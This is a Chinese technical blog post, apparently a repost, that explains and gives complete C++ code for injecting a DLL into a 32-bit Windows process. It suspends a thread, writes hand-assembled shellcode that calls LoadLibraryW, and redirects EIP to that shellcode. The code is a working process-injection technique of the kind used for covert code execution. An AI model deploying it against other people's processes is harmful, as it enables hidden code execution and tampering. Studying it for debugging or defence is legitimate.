功能:通过修改EIP寄存器实现32位程序的DLL注入 <如果是64位 记得自己对应修改汇编代码部分>
原理:挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,然后把相关的指令机器码和数据拷贝到里面去,然后修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关,然后跳转回来。下面的例子是实现DLL注入,但是和平时说的远程代码注入在注入的逻辑上不同,但是同时都是用到了一个重要的结论就是:很多系统dll的导出函数地址在不同进程中,是一样的.
思路 :
修改EID实现代码注入的汇编思路如下
SuspendThread();
get eip
push ad
push fd
push AddressDllFilePath
call LoadLibrary
pop fd
pop ad
jmp eip //这个是为了让程序执行完我们的代码之后自己跳转回去继续执行
ResumeThread();
*/
/*
注意两个问题
1.call 如果直接是个地址的话要这么计算
call RVA - call指令的下一条地址 RVA - (nowaddress + 5) //+5是因为 call dword 是长度5 1+4
2.jmp 直接跳转地址也是同理
jmp RVA - jmp指令的销一条地址 RVA - (nowaddress + 5) //+5是因为 jmp dword 长度是5 1+4
Tip
还有就是要知道,Kernel32.LoadLibraryW的地址不同进程是一样的,这样就可以直接得到相关RVA
*/
#include "stdafx.h" #include <string> #include <windows.h> #include "AnalyzeAndRun.h" using namespace std; WCHAR pDllPath[] = L"C:\\TestDllMexxBoxX32.dll"; //被注入dll的路径(32位) VOID Test(){ HWND hWnd=::FindWindow(NULL,L"AAA"); //注入的线程对应窗体的title AAA, //主要就是为了获得tid 和 pid 这个地方可以对应修改,通过别的姿势获取。 if(hWnd==NULL){ MessageBox(NULL ,L"未获取窗口句柄!",L"失败",MB_OK); return; } DWORD pid,tid; tid=GetWindowThreadProcessId(hWnd,&pid); if(tid<=0){ MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK); return; } if(pid<=0){ MessageBox(NULL ,L"未获取进程ID",L"失败" ,MB_OK); return; } HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); if(hProcess <= 0){ MessageBox(NULL ,L"未获取进程句柄",L"失败" ,MB_OK); return; } HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,FALSE,tid); if(hThread <= 0){ MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK); return; } SuspendThread(hThread); //挂起线程 CONTEXT ct={0}; ct.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread,&ct); //获取,保存线程寄存器相关 DWORD dwSize = sizeof(WCHAR)*1024; //0-0x100 写代码 之后写数据 BYTE *pProcessMem = (BYTE *)::VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE); DWORD dwWrited = 0; ::WriteProcessMemory(hProcess, (pProcessMem + 0x100), pDllPath, //先把路径(数据)写到内存里,从0x100开始 (wcslen(pDllPath) + 1) * sizeof(WCHAR), &dwWrited); FARPROC pLoadLibraryW = (FARPROC)::GetProcAddress(::GetModuleHandle(L"Kernel32"), "LoadLibraryW"); BYTE ShellCode[32] = { 0 }; DWORD *pdwAddr = NULL; ShellCode[0] = 0x60; // pushad ShellCode[1] = 0x9c; // pushfd ShellCode[2] = 0x68; // push pdwAddr = (DWORD *)&ShellCode[3]; // ShellCode[3/4/5/6] *pdwAddr = (DWORD)(pProcessMem + 0x100); ShellCode[7] = 0xe8;//call pdwAddr = (DWORD *)&ShellCode[8]; // ShellCode[8/9/10/11] *pdwAddr = (DWORD)pLoadLibraryW - ((DWORD)(pProcessMem + 7) + 5 ); // 因为直接call地址了,所以对应机器码需要转换,计算VA ShellCode[12] = 0x9d; // popfd ShellCode[13] = 0x61; // popad ShellCode[14] = 0xe9; // jmp pdwAddr = (DWORD *)&ShellCode[15]; // ShellCode[15/16/17/18] *pdwAddr = ct.Eip - ((DWORD)(pProcessMem + 14) + 5); //因为直接jmp地址了,所以对应机器码需要转换,计算VA ::WriteProcessMemory(hProcess, pProcessMem, ShellCode, sizeof(ShellCode), &dwWrited); ct.Eip = (DWORD)pProcessMem; ::SetThreadContext(hThread, &ct); ::ResumeThread(hThread); ::CloseHandle(hProcess); ::CloseHandle(hThread); } int _tmain(int argc, _TCHAR* argv[]){ Test(); return 0; }
原文地址:https://www.cnblogs.com/LyShark/p/9051751.html